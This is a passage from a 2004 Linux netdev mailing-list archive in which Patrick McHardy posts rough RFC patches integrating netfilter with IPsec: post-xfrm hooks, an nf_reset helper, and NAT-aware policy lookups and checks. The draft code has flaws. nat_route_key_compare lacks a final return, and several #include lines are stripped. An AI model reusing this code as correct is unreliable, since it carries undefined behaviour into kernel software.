post-ipsec input hooks # # net/ipv4/esp4.c # 2004/03/18 16:41:31+01:00 kaber@trash.net +1 -0 # [NETFILTER]: post-ipsec input hooks # # net/ipv4/ah4.c # 2004/03/18 16:41:31+01:00 kaber@trash.net +1 -0 # [NETFILTER]: post-ipsec input hooks # # net/core/netfilter.c # 2004/03/18 16:41:31+01:00 kaber@trash.net +50 -3 # [NETFILTER]: post-ipsec input hooks # # include/net/protocol.h # 2004/03/18 16:41:31+01:00 kaber@trash.net +1 -0 # [NETFILTER]: post-ipsec input hooks # # include/linux/netfilter_ipv4.h # 2004/03/18 16:41:31+01:00 kaber@trash.net +15 -0 # [NETFILTER]: post-ipsec input hooks # diff -Nru a/include/linux/netfilter_ipv4.h b/include/linux/netfilter_ipv4.h --- a/include/linux/netfilter_ipv4.h Thu Mar 18 16:45:35 2004 +++ b/include/linux/netfilter_ipv4.h Thu Mar 18 16:45:35 2004 @@ -83,6 +83,21 @@ Returns true or false. */ extern int skb_ip_make_writable(struct sk_buff **pskb, unsigned int writable_len); + +#ifdef CONFIG_XFRM +extern int nf_postxfrm_input(struct sk_buff *skb); +extern int nf_postxfrm_nonlocal(struct sk_buff *skb); +#else /* CONFIG_XFRM */ +static inline int nf_postxfrm_input(struct sk_buff *skb) +{ + return 0; +} + +static inline int nf_postxfrm_nonlocal(struct sk_buff *skb) +{ + return 0; +} +#endif /* CONFIG_XFRM */ #endif /*__KERNEL__*/ #endif /*__LINUX_IP_NETFILTER_H*/ diff -Nru a/include/net/protocol.h b/include/net/protocol.h --- a/include/net/protocol.h Thu Mar 18 16:45:35 2004 +++ b/include/net/protocol.h Thu Mar 18 16:45:35 2004 @@ -39,6 +39,7 @@ int (*handler)(struct sk_buff *skb); void (*err_handler)(struct sk_buff *skb, u32 info); int no_policy; + int xfrm_prot; }; #if defined(CONFIG_IPV6) || defined (CONFIG_IPV6_MODULE) diff -Nru a/net/core/netfilter.c b/net/core/netfilter.c --- a/net/core/netfilter.c Thu Mar 18 16:45:35 2004 +++ b/net/core/netfilter.c Thu Mar 18 16:45:35 2004 @@ -11,6 +11,7 @@ */ #include #include +#include #include #include #include @@ -25,6 +26,7 @@ #include #include #include +#include #include /* In this code, we can be waiting indefinitely for userspace to @@ -625,9 +627,6 @@ struct dst_entry *odst; unsigned int hh_len; - /* some non-standard hacks like ipt_REJECT.c:send_reset() can cause - * packets with foreign saddr to appear on the NF_IP_LOCAL_OUT hook. - */ if (inet_addr_type(iph->saddr) == RTN_LOCAL) { fl.nl_u.ip4_u.daddr = iph->daddr; fl.nl_u.ip4_u.saddr = iph->saddr; @@ -679,6 +678,54 @@ return 0; } + +#ifdef CONFIG_XFRM +static inline int nf_postxfrm_done(struct sk_buff *skb) +{ + return 0; +} + +static inline int nf_postxfrm_input2(struct sk_buff *skb) +{ + if (inet_addr_type(skb->nh.iph->daddr) != RTN_LOCAL) { + if (ip_route_me_harder(&skb) == 0) + dst_input(skb); + else + kfree_skb(skb); + return -1; + } + + return NF_HOOK(PF_INET, NF_IP_LOCAL_IN, skb, skb->dev, NULL, + nf_postxfrm_done); +} + +int nf_postxfrm_input(struct sk_buff *skb) +{ + int off = skb->data - skb->nh.raw; + + __skb_push(skb, off); + /* Fix header len and checksum if last xfrm was transport mode */ + if (!skb->sp->x[skb->sp->len - 1].xvec->props.mode) { + skb->nh.iph->tot_len = htons(skb->len); + ip_send_check(skb->nh.iph); + } + + nf_reset(skb); + if (NF_HOOK(PF_INET, NF_IP_PRE_ROUTING, skb, skb->dev, NULL, + nf_postxfrm_input2) != 0) + return -1; + + __skb_pull(skb, off); + return 0; +} + +int nf_postxfrm_nonlocal(struct sk_buff *skb) +{ + nf_reset(skb); + return NF_HOOK(PF_INET, NF_IP_PRE_ROUTING, skb, skb->dev, NULL, + nf_postxfrm_done); +} +#endif /* CONFIG_XFRM */ int skb_ip_make_writable(struct sk_buff **pskb, unsigned int writable_len) { diff -Nru a/net/ipv4/ah4.c b/net/ipv4/ah4.c --- a/net/ipv4/ah4.c Thu Mar 18 16:45:35 2004 +++ b/net/ipv4/ah4.c Thu Mar 18 16:45:35 2004 @@ -344,6 +344,7 @@ .handler = xfrm4_rcv, .err_handler = ah4_err, .no_policy = 1, + .xfrm_prot = 1, }; static int __init ah4_init(void) diff -Nru a/net/ipv4/esp4.c b/net/ipv4/esp4.c --- a/net/ipv4/esp4.c Thu Mar 18 16:45:35 2004 +++ b/net/ipv4/esp4.c Thu Mar 18 16:45:35 2004 @@ -577,6 +577,7 @@ .handler = xfrm4_rcv, .err_handler = esp4_err, .no_policy = 1, + .xfrm_prot = 1, }; static int __init esp4_init(void) diff -Nru a/net/ipv4/ip_input.c b/net/ipv4/ip_input.c --- a/net/ipv4/ip_input.c Thu Mar 18 16:45:35 2004 +++ b/net/ipv4/ip_input.c Thu Mar 18 16:45:35 2004 @@ -224,6 +224,12 @@ resubmit: hash = protocol & (MAX_INET_PROTOS - 1); raw_sk = sk_head(&raw_v4_htable[hash]); + ipprot = inet_protos[hash]; + smp_read_barrier_depends(); + + if (skb->sp && !ipprot->xfrm_prot) + if (nf_postxfrm_input(skb)) + goto out; /* If there maybe a raw socket we must check - if not we * don't care less @@ -231,10 +237,9 @@ if (raw_sk) raw_v4_input(skb, skb->nh.iph, hash); - if ((ipprot = inet_protos[hash]) != NULL) { + if (ipprot != NULL) { int ret; - smp_read_barrier_depends(); if (!ipprot->no_policy && !xfrm4_policy_check(NULL, XFRM_POLICY_IN, skb)) { kfree_skb(skb); @@ -279,8 +284,8 @@ return 0; } - return NF_HOOK(PF_INET, NF_IP_LOCAL_IN, skb, skb->dev, NULL, - ip_local_deliver_finish); + return NF_HOOK_COND(PF_INET, NF_IP_LOCAL_IN, skb, skb->dev, NULL, + ip_local_deliver_finish, !skb->sp); } static inline int ip_rcv_finish(struct sk_buff *skb) @@ -346,6 +351,10 @@ } } + if (skb->sp && !(((struct rtable *)skb->dst)->rt_flags&RTCF_LOCAL)) + if (nf_postxfrm_nonlocal(skb)) + goto drop; + return dst_input(skb); inhdr_error: @@ -418,8 +427,8 @@ } } - return NF_HOOK(PF_INET, NF_IP_PRE_ROUTING, skb, dev, NULL, - ip_rcv_finish); + return NF_HOOK_COND(PF_INET, NF_IP_PRE_ROUTING, skb, dev, NULL, + ip_rcv_finish, !skb->sp); inhdr_error: IP_INC_STATS_BH(IpInHdrErrors); diff -Nru a/net/ipv4/ipcomp.c b/net/ipv4/ipcomp.c --- a/net/ipv4/ipcomp.c Thu Mar 18 16:45:35 2004 +++ b/net/ipv4/ipcomp.c Thu Mar 18 16:45:35 2004 @@ -408,6 +408,7 @@ .handler = xfrm4_rcv, .err_handler = ipcomp4_err, .no_policy = 1, + .xfrm_prot = 1, }; static int __init ipcomp4_init(void) diff -Nru a/net/ipv4/xfrm4_tunnel.c b/net/ipv4/xfrm4_tunnel.c --- a/net/ipv4/xfrm4_tunnel.c Thu Mar 18 16:45:35 2004 +++ b/net/ipv4/xfrm4_tunnel.c Thu Mar 18 16:45:35 2004 @@ -171,6 +171,7 @@ .handler = ipip_rcv, .err_handler = ipip_err, .no_policy = 1, + .xfrm_prot = 1, }; static int __init ipip_init(void) --------------090305020603060809060000-- From kaber@trash.net Thu Mar 18 08:30:13 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 18 Mar 2004 08:30:15 -0800 (PST) Received: from gw.localnet (port-212-202-52-228.reverse.qsc.de [212.202.52.228]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2IGUCKO031006 for ; Thu, 18 Mar 2004 08:30:12 -0800 Received: from ws.localnet ([192.168.0.23] helo=trash.net ident=kaber) by gw.localnet with esmtp (Exim 3.36 #1 (Debian)) id 1B40Pf-0005fA-00; Thu, 18 Mar 2004 17:30:31 +0100 Message-ID: <4059CEDF.6030209@trash.net> Date: Thu, 18 Mar 2004 17:31:27 +0100 From: Patrick McHardy User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040122 Debian/1.6-1 X-Accept-Language: en MIME-Version: 1.0 To: "David S. Miller" CC: herbert@gondor.apana.org.au, netdev@oss.sgi.com, netfilter-devel@lists.netfilter.org Subject: [RFC, PATCH 1/5]: netfilter+ipsec - nf_reset References: <20040308110331.GA20719@gondor.apana.org.au> <404C874D.4000907@trash.net> <20040308115858.75cdddca.davem@redhat.com> In-Reply-To: <20040308115858.75cdddca.davem@redhat.com> X-Enigmail-Version: 0.83.3.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: multipart/mixed; boundary="------------040208000301050100060802" X-archive-position: 4096 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kaber@trash.net Precedence: bulk X-list: netdev Content-Length: 6073 Lines: 221 This is a multi-part message in MIME format. --------------040208000301050100060802 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit This patch adds a new function nf_reset to reset netfilter related skb-fields. It has no real relationship to netfilter+ipsec, but it's required for the follow-up patches. --------------040208000301050100060802 Content-Type: text/x-patch; name="01-nf_reset.diff" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="01-nf_reset.diff" # This is a BitKeeper generated diff -Nru style patch. # # ChangeSet # 2004/03/18 03:22:26+01:00 kaber@trash.net # [NETFILTER]: Add new function 'nf_reset' to reset netfilter related skb-fields # # net/ipv6/sit.c # 2004/03/18 03:19:58+01:00 kaber@trash.net +2 -14 # [NETFILTER]: Add new function 'nf_reset' to reset netfilter related skb-fields # # net/ipv6/ip6_tunnel.c # 2004/03/18 03:19:58+01:00 kaber@trash.net +1 -7 # [NETFILTER]: Add new function 'nf_reset' to reset netfilter related skb-fields # # net/ipv4/ipip.c # 2004/03/18 03:19:58+01:00 kaber@trash.net +2 -14 # [NETFILTER]: Add new function 'nf_reset' to reset netfilter related skb-fields # # net/ipv4/ip_input.c # 2004/03/18 03:19:58+01:00 kaber@trash.net +1 -5 # [NETFILTER]: Add new function 'nf_reset' to reset netfilter related skb-fields # # net/ipv4/ip_gre.c # 2004/03/18 03:19:58+01:00 kaber@trash.net +2 -14 # [NETFILTER]: Add new function 'nf_reset' to reset netfilter related skb-fields # # include/linux/skbuff.h # 2004/03/18 03:19:58+01:00 kaber@trash.net +12 -3 # [NETFILTER]: Add new function 'nf_reset' to reset netfilter related skb-fields # diff -Nru a/include/linux/skbuff.h b/include/linux/skbuff.h --- a/include/linux/skbuff.h Thu Mar 18 16:45:10 2004 +++ b/include/linux/skbuff.h Thu Mar 18 16:45:10 2004 @@ -1201,6 +1201,14 @@ if (nfct) atomic_inc(&nfct->master->use); } +static inline void nf_reset(struct sk_buff *skb) +{ + nf_conntrack_put(skb->nfct); + skb->nfct = NULL; +#ifdef CONFIG_NETFILTER_DEBUG + skb->nf_debug = 0; +#endif +} #ifdef CONFIG_BRIDGE_NETFILTER static inline void nf_bridge_put(struct nf_bridge_info *nf_bridge) @@ -1213,9 +1221,10 @@ if (nf_bridge) atomic_inc(&nf_bridge->use); } -#endif - -#endif +#endif /* CONFIG_BRIDGE_NETFILTER */ +#else /* CONFIG_NETFILTER */ +static inline void nf_reset(struct sk_buff *skb) {} +#endif /* CONFIG_NETFILTER */ #endif /* __KERNEL__ */ #endif /* _LINUX_SKBUFF_H */ diff -Nru a/net/ipv4/ip_gre.c b/net/ipv4/ip_gre.c --- a/net/ipv4/ip_gre.c Thu Mar 18 16:45:10 2004 +++ b/net/ipv4/ip_gre.c Thu Mar 18 16:45:10 2004 @@ -643,13 +643,7 @@ skb->dev = tunnel->dev; dst_release(skb->dst); skb->dst = NULL; -#ifdef CONFIG_NETFILTER - nf_conntrack_put(skb->nfct); - skb->nfct = NULL; -#ifdef CONFIG_NETFILTER_DEBUG - skb->nf_debug = 0; -#endif -#endif + nf_reset(skb); ipgre_ecn_decapsulate(iph, skb); netif_rx(skb); read_unlock(&ipgre_lock); @@ -877,13 +871,7 @@ } } -#ifdef CONFIG_NETFILTER - nf_conntrack_put(skb->nfct); - skb->nfct = NULL; -#ifdef CONFIG_NETFILTER_DEBUG - skb->nf_debug = 0; -#endif -#endif + nf_reset(skb); IPTUNNEL_XMIT(); tunnel->recursion--; diff -Nru a/net/ipv4/ip_input.c b/net/ipv4/ip_input.c --- a/net/ipv4/ip_input.c Thu Mar 18 16:45:10 2004 +++ b/net/ipv4/ip_input.c Thu Mar 18 16:45:10 2004 @@ -202,17 +202,13 @@ #ifdef CONFIG_NETFILTER_DEBUG nf_debug_ip_local_deliver(skb); - skb->nf_debug = 0; #endif /*CONFIG_NETFILTER_DEBUG*/ __skb_pull(skb, ihl); -#ifdef CONFIG_NETFILTER /* Free reference early: we don't need it any more, and it may hold ip_conntrack module loaded indefinitely. */ - nf_conntrack_put(skb->nfct); - skb->nfct = NULL; -#endif /*CONFIG_NETFILTER*/ + nf_reset(skb); /* Point into the IP datagram, just past the header. */ skb->h.raw = skb->data; diff -Nru a/net/ipv4/ipip.c b/net/ipv4/ipip.c --- a/net/ipv4/ipip.c Thu Mar 18 16:45:10 2004 +++ b/net/ipv4/ipip.c Thu Mar 18 16:45:10 2004 @@ -496,13 +496,7 @@ skb->dev = tunnel->dev; dst_release(skb->dst); skb->dst = NULL; -#ifdef CONFIG_NETFILTER - nf_conntrack_put(skb->nfct); - skb->nfct = NULL; -#ifdef CONFIG_NETFILTER_DEBUG - skb->nf_debug = 0; -#endif -#endif + nf_reset(skb); ipip_ecn_decapsulate(iph, skb); netif_rx(skb); read_unlock(&ipip_lock); @@ -647,13 +641,7 @@ if ((iph->ttl = tiph->ttl) == 0) iph->ttl = old_iph->ttl; -#ifdef CONFIG_NETFILTER - nf_conntrack_put(skb->nfct); - skb->nfct = NULL; -#ifdef CONFIG_NETFILTER_DEBUG - skb->nf_debug = 0; -#endif -#endif + nf_reset(skb); IPTUNNEL_XMIT(); tunnel->recursion--; diff -Nru a/net/ipv6/ip6_tunnel.c b/net/ipv6/ip6_tunnel.c --- a/net/ipv6/ip6_tunnel.c Thu Mar 18 16:45:10 2004 +++ b/net/ipv6/ip6_tunnel.c Thu Mar 18 16:45:10 2004 @@ -715,13 +715,7 @@ ipv6h->nexthdr = proto; ipv6_addr_copy(&ipv6h->saddr, &fl.fl6_src); ipv6_addr_copy(&ipv6h->daddr, &fl.fl6_dst); -#ifdef CONFIG_NETFILTER - nf_conntrack_put(skb->nfct); - skb->nfct = NULL; -#ifdef CONFIG_NETFILTER_DEBUG - skb->nf_debug = 0; -#endif -#endif + nf_reset(skb); pkt_len = skb->len; err = NF_HOOK(PF_INET6, NF_IP6_LOCAL_OUT, skb, NULL, skb->dst->dev, dst_output); diff -Nru a/net/ipv6/sit.c b/net/ipv6/sit.c --- a/net/ipv6/sit.c Thu Mar 18 16:45:10 2004 +++ b/net/ipv6/sit.c Thu Mar 18 16:45:10 2004 @@ -388,13 +388,7 @@ skb->dev = tunnel->dev; dst_release(skb->dst); skb->dst = NULL; -#ifdef CONFIG_NETFILTER - nf_conntrack_put(skb->nfct); - skb->nfct = NULL; -#ifdef CONFIG_NETFILTER_DEBUG - skb->nf_debug = 0; -#endif -#endif + nf_reset(skb); ipip6_ecn_decapsulate(iph, skb); netif_rx(skb); read_unlock(&ipip6_lock); @@ -580,13 +574,7 @@ if ((iph->ttl = tiph->ttl) == 0) iph->ttl = iph6->hop_limit; -#ifdef CONFIG_NETFILTER - nf_conntrack_put(skb->nfct); - skb->nfct = NULL; -#ifdef CONFIG_NETFILTER_DEBUG - skb->nf_debug = 0; -#endif -#endif + nf_reset(skb); IPTUNNEL_XMIT(); tunnel->recursion--; --------------040208000301050100060802-- From kaber@trash.net Thu Mar 18 08:30:09 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 18 Mar 2004 08:30:13 -0800 (PST) Received: from gw.localnet (port-212-202-52-228.reverse.qsc.de [212.202.52.228]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2IGU8KO030997 for ; Thu, 18 Mar 2004 08:30:09 -0800 Received: from ws.localnet ([192.168.0.23] helo=trash.net ident=kaber) by gw.localnet with esmtp (Exim 3.36 #1 (Debian)) id 1B40PR-0005ez-00; Thu, 18 Mar 2004 17:30:17 +0100 Message-ID: <4059CECA.8080109@trash.net> Date: Thu, 18 Mar 2004 17:31:06 +0100 From: Patrick McHardy User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040122 Debian/1.6-1 X-Accept-Language: en MIME-Version: 1.0 To: "David S. Miller" CC: herbert@gondor.apana.org.au, netdev@oss.sgi.com, netfilter-devel@lists.netfilter.org Subject: Re: ip_route_me_harder -> xfrm_lookup References: <20040308110331.GA20719@gondor.apana.org.au> <404C874D.4000907@trash.net> <20040308115858.75cdddca.davem@redhat.com> In-Reply-To: <20040308115858.75cdddca.davem@redhat.com> X-Enigmail-Version: 0.83.3.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 4095 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kaber@trash.net Precedence: bulk X-list: netdev Content-Length: 905 Lines: 26 David S. Miller wrote: > On Mon, 08 Mar 2004 15:46:37 +0100 > Patrick McHardy wrote: >> >>I have been working on a set of patches for IPsec+Netfilter, the >>latest set has been posted to netfilter-devel last week. They will >>go in patch-o-matic for testing soon, but I will post them >>to netdev later today, so we won't waste time testing patches >>before Dave is fine with them. > > > Regardless, and I look forward to your work, Herbert's patch is > absolutely correct so I'm going to apply it for now. > > In fact, your work is less likely to be 2.6.4 material I imagine :) > So best to get Herbert's simpler fix in for now. > Sorry for the late reply. You're right of course, Herbert's patch is best for now. The following five mails contain what I've currently got, it's still rough, but I hope you have some suggestions how to avoid some ugly things. Best regards Patrick From kaber@trash.net Thu Mar 18 08:31:09 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 18 Mar 2004 08:31:11 -0800 (PST) Received: from gw.localnet (port-212-202-52-228.reverse.qsc.de [212.202.52.228]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2IGV8KO031430 for ; Thu, 18 Mar 2004 08:31:09 -0800 Received: from ws.localnet ([192.168.0.23] helo=trash.net ident=kaber) by gw.localnet with esmtp (Exim 3.36 #1 (Debian)) id 1B40Qa-0005fp-00; Thu, 18 Mar 2004 17:31:28 +0100 Message-ID: <4059CF17.8090907@trash.net> Date: Thu, 18 Mar 2004 17:32:23 +0100 From: Patrick McHardy User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040122 Debian/1.6-1 X-Accept-Language: en MIME-Version: 1.0 To: "David S. Miller" CC: herbert@gondor.apana.org.au, netdev@oss.sgi.com, netfilter-devel@lists.netfilter.org Subject: [RFC, PATCH 4/5]: netfilter+ipsec - policy lookup References: <20040308110331.GA20719@gondor.apana.org.au> <404C874D.4000907@trash.net> <20040308115858.75cdddca.davem@redhat.com> In-Reply-To: <20040308115858.75cdddca.davem@redhat.com> X-Enigmail-Version: 0.83.3.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: multipart/mixed; boundary="------------040408090804010508050308" X-archive-position: 4099 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kaber@trash.net Precedence: bulk X-list: netdev Content-Length: 6158 Lines: 208 This is a multi-part message in MIME format. --------------040408090804010508050308 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit This patch adds policy lookups to ip_route_me_harder and makes NAT reroute for any change that affects route/policy lookups. --------------040408090804010508050308 Content-Type: text/x-patch; name="04-nat-xfrm_lookup.diff" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="04-nat-xfrm_lookup.diff" # This is a BitKeeper generated diff -Nru style patch. # # ChangeSet # 2004/03/18 16:43:22+01:00 kaber@trash.net # [NETFILTER]: Add policy lookups to ip_route_me_harder, make NAT reroute for any change in route/policy key # # net/ipv4/netfilter/ip_nat_standalone.c # 2004/03/18 16:43:16+01:00 kaber@trash.net +72 -8 # [NETFILTER]: Add policy lookups to ip_route_me_harder, make NAT reroute for any change in route/policy key # # net/ipv4/netfilter/ip_conntrack_standalone.c # 2004/03/18 16:43:16+01:00 kaber@trash.net +1 -0 # [NETFILTER]: Add policy lookups to ip_route_me_harder, make NAT reroute for any change in route/policy key # # net/core/netfilter.c # 2004/03/18 16:43:16+01:00 kaber@trash.net +15 -1 # [NETFILTER]: Add policy lookups to ip_route_me_harder, make NAT reroute for any change in route/policy key # diff -Nru a/net/core/netfilter.c b/net/core/netfilter.c --- a/net/core/netfilter.c Thu Mar 18 16:46:02 2004 +++ b/net/core/netfilter.c Thu Mar 18 16:46:02 2004 @@ -27,6 +27,7 @@ #include #include #include +#include #include /* In this code, we can be waiting indefinitely for userspace to @@ -635,7 +636,6 @@ #ifdef CONFIG_IP_ROUTE_FWMARK fl.nl_u.ip4_u.fwmark = (*pskb)->nfmark; #endif - fl.proto = iph->protocol; if (ip_route_output_key(&rt, &fl) != 0) return -1; @@ -661,6 +661,20 @@ if ((*pskb)->dst->error) return -1; + +#ifdef CONFIG_XFRM + if (!(IPCB(*pskb)->flags & IPSKB_XFRM_TRANSFORMED)) { + struct xfrm_policy_afinfo *afinfo; + + afinfo = xfrm_policy_get_afinfo(AF_INET); + if (afinfo != NULL) { + afinfo->decode_session(*pskb, &fl); + xfrm_policy_put_afinfo(afinfo); + if (xfrm_lookup(&(*pskb)->dst, &fl, (*pskb)->sk, 0) != 0) + return -1; + } + } +#endif /* Change in oif may mean change in hh_len. */ hh_len = (*pskb)->dst->dev->hard_header_len; diff -Nru a/net/ipv4/netfilter/ip_conntrack_standalone.c b/net/ipv4/netfilter/ip_conntrack_standalone.c --- a/net/ipv4/netfilter/ip_conntrack_standalone.c Thu Mar 18 16:46:02 2004 +++ b/net/ipv4/netfilter/ip_conntrack_standalone.c Thu Mar 18 16:46:02 2004 @@ -583,6 +583,7 @@ EXPORT_SYMBOL(ip_conntrack_alter_reply); EXPORT_SYMBOL(ip_conntrack_destroyed); EXPORT_SYMBOL(ip_conntrack_get); +EXPORT_SYMBOL(__ip_conntrack_confirm); EXPORT_SYMBOL(need_ip_conntrack); EXPORT_SYMBOL(ip_conntrack_helper_register); EXPORT_SYMBOL(ip_conntrack_helper_unregister); diff -Nru a/net/ipv4/netfilter/ip_nat_standalone.c b/net/ipv4/netfilter/ip_nat_standalone.c --- a/net/ipv4/netfilter/ip_nat_standalone.c Thu Mar 18 16:46:02 2004 +++ b/net/ipv4/netfilter/ip_nat_standalone.c Thu Mar 18 16:46:02 2004 @@ -166,6 +166,45 @@ return do_bindings(ct, ctinfo, info, hooknum, pskb); } +struct nat_route_key +{ + u_int32_t addr; +#ifdef CONFIG_XFRM + u_int16_t port; +#endif +}; + +static inline void +nat_route_key_get(struct sk_buff *skb, struct nat_route_key *key, int which) +{ + struct iphdr *iph = skb->nh.iph; + + key->addr = which ? iph->daddr : iph->saddr; +#ifdef CONFIG_XFRM + key->port = 0; + if (iph->protocol == IPPROTO_TCP || iph->protocol == IPPROTO_UDP) { + u_int16_t *ports = (u_int16_t *)(skb->nh.raw + iph->ihl*4); + key->port = ports[which]; + } +#endif +} + +static inline int +nat_route_key_compare(struct sk_buff *skb, struct nat_route_key *key, int which) +{ + struct iphdr *iph = skb->nh.iph; + + if (key->addr != (which ? iph->daddr : iph->saddr)) + return 1; +#ifdef CONFIG_XFRM + if (iph->protocol == IPPROTO_TCP || iph->protocol == IPPROTO_UDP) { + u_int16_t *ports = (u_int16_t *)(skb->nh.raw + iph->ihl*4); + if (key->port != ports[which]) + return 1; + } +#endif +} + static unsigned int ip_nat_out(unsigned int hooknum, struct sk_buff **pskb, @@ -173,6 +212,9 @@ const struct net_device *out, int (*okfn)(struct sk_buff *)) { + struct nat_route_key key; + unsigned int ret; + /* root is playing with raw sockets. */ if ((*pskb)->len < sizeof(struct iphdr) || (*pskb)->nh.iph->ihl * 4 < sizeof(struct iphdr)) @@ -195,7 +237,29 @@ return NF_STOLEN; } - return ip_nat_fn(hooknum, pskb, in, out, okfn); + nat_route_key_get(*pskb, &key, 0); + ret = ip_nat_fn(hooknum, pskb, in, out, okfn); + + if (ret != NF_DROP && ret != NF_STOLEN + && nat_route_key_compare(*pskb, &key, 0)) { + if (ip_route_me_harder(pskb) != 0) + ret = NF_DROP; +#ifdef CONFIG_XFRM + /* + * POST_ROUTING hook is called with fixed outfn, we need + * to manually confirm the packet and direct it to the + * transformers if a policy matches. + */ + else if ((*pskb)->dst->xfrm != NULL) { + ret = ip_conntrack_confirm(*pskb); + if (ret != NF_DROP) { + dst_output(*pskb); + ret = NF_STOLEN; + } + } +#endif + } + return ret; } #ifdef CONFIG_IP_NF_NAT_LOCAL @@ -206,7 +270,7 @@ const struct net_device *out, int (*okfn)(struct sk_buff *)) { - u_int32_t saddr, daddr; + struct nat_route_key key; unsigned int ret; /* root is playing with raw sockets. */ @@ -214,14 +278,14 @@ || (*pskb)->nh.iph->ihl * 4 < sizeof(struct iphdr)) return NF_ACCEPT; - saddr = (*pskb)->nh.iph->saddr; - daddr = (*pskb)->nh.iph->daddr; - + nat_route_key_get(*pskb, &key, 1); ret = ip_nat_fn(hooknum, pskb, in, out, okfn); + if (ret != NF_DROP && ret != NF_STOLEN - && ((*pskb)->nh.iph->saddr != saddr - || (*pskb)->nh.iph->daddr != daddr)) - return ip_route_me_harder(pskb) == 0 ? ret : NF_DROP; + && nat_route_key_compare(*pskb, &key, 1)) { + if (ip_route_me_harder(pskb) != 0) + ret = NF_DROP; + } return ret; } #endif --------------040408090804010508050308-- From kaber@trash.net Thu Mar 18 08:31:26 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 18 Mar 2004 08:31:28 -0800 (PST) Received: from gw.localnet (port-212-202-52-228.reverse.qsc.de [212.202.52.228]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2IGVOKO031634 for ; Thu, 18 Mar 2004 08:31:25 -0800 Received: from ws.localnet ([192.168.0.23] helo=trash.net ident=kaber) by gw.localnet with esmtp (Exim 3.36 #1 (Debian)) id 1B40Qq-0005g0-00; Thu, 18 Mar 2004 17:31:44 +0100 Message-ID: <4059CF27.4030803@trash.net> Date: Thu, 18 Mar 2004 17:32:39 +0100 From: Patrick McHardy User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040122 Debian/1.6-1 X-Accept-Language: en MIME-Version: 1.0 To: "David S. Miller" CC: herbert@gondor.apana.org.au, netdev@oss.sgi.com, netfilter-devel@lists.netfilter.org Subject: [RFC, PATCH 5/5]: netfilter+ipsec - policy checks References: <20040308110331.GA20719@gondor.apana.org.au> <404C874D.4000907@trash.net> <20040308115858.75cdddca.davem@redhat.com> In-Reply-To: <20040308115858.75cdddca.davem@redhat.com> X-Enigmail-Version: 0.83.3.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: multipart/mixed; boundary="------------030909010207090303020502" X-archive-position: 4100 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kaber@trash.net Precedence: bulk X-list: netdev Content-Length: 6594 Lines: 224 This is a multi-part message in MIME format. --------------030909010207090303020502 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit This patch makes xfrm_policy_check locate the correct policy after NAT. For protocols which do policy checks in their receive routines the reference to nfct has to be kept until policy checks are done, the other ones still drop it in ip_local_deliver_finish. --------------030909010207090303020502 Content-Type: text/x-patch; name="05-nat-policy-check.diff" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="05-nat-policy-check.diff" # This is a BitKeeper generated diff -Nru style patch. # # ChangeSet # 2004/03/18 16:44:21+01:00 kaber@trash.net # [NETFILTER]: Make policy checks find correct policy after NAT # # net/xfrm/xfrm_policy.c # 2004/03/18 16:44:12+01:00 kaber@trash.net +2 -0 # [NETFILTER]: Make policy checks find correct policy after NAT # # net/ipv4/udp.c # 2004/03/18 16:44:12+01:00 kaber@trash.net +2 -0 # [NETFILTER]: Make policy checks find correct policy after NAT # # net/ipv4/tcp_ipv4.c # 2004/03/18 16:44:12+01:00 kaber@trash.net +1 -0 # [NETFILTER]: Make policy checks find correct policy after NAT # # net/ipv4/raw.c # 2004/03/18 16:44:12+01:00 kaber@trash.net +1 -0 # [NETFILTER]: Make policy checks find correct policy after NAT # # net/ipv4/ip_input.c # 2004/03/18 16:44:12+01:00 kaber@trash.net +6 -8 # [NETFILTER]: Make policy checks find correct policy after NAT # # net/core/netfilter.c # 2004/03/18 16:44:12+01:00 kaber@trash.net +43 -0 # [NETFILTER]: Make policy checks find correct policy after NAT # # include/linux/netfilter.h # 2004/03/18 16:44:12+01:00 kaber@trash.net +16 -0 # [NETFILTER]: Make policy checks find correct policy after NAT # diff -Nru a/include/linux/netfilter.h b/include/linux/netfilter.h --- a/include/linux/netfilter.h Thu Mar 18 16:46:27 2004 +++ b/include/linux/netfilter.h Thu Mar 18 16:46:27 2004 @@ -171,5 +171,21 @@ #define NF_HOOK_COND NF_HOOK #endif /*CONFIG_NETFILTER*/ +#ifdef CONFIG_XFRM +#ifdef CONFIG_IP_NF_NAT_NEEDED +struct flowi; +extern void nf_nat_decode_session4(struct sk_buff *skb, struct flowi *fl); + +static inline void +nf_nat_decode_session(struct sk_buff *skb, struct flowi *fl, int family) +{ + if (family == AF_INET) + nf_nat_decode_session4(skb, fl); +} +#else /* CONFIG_IP_NF_NAT_NEEDED */ +#define 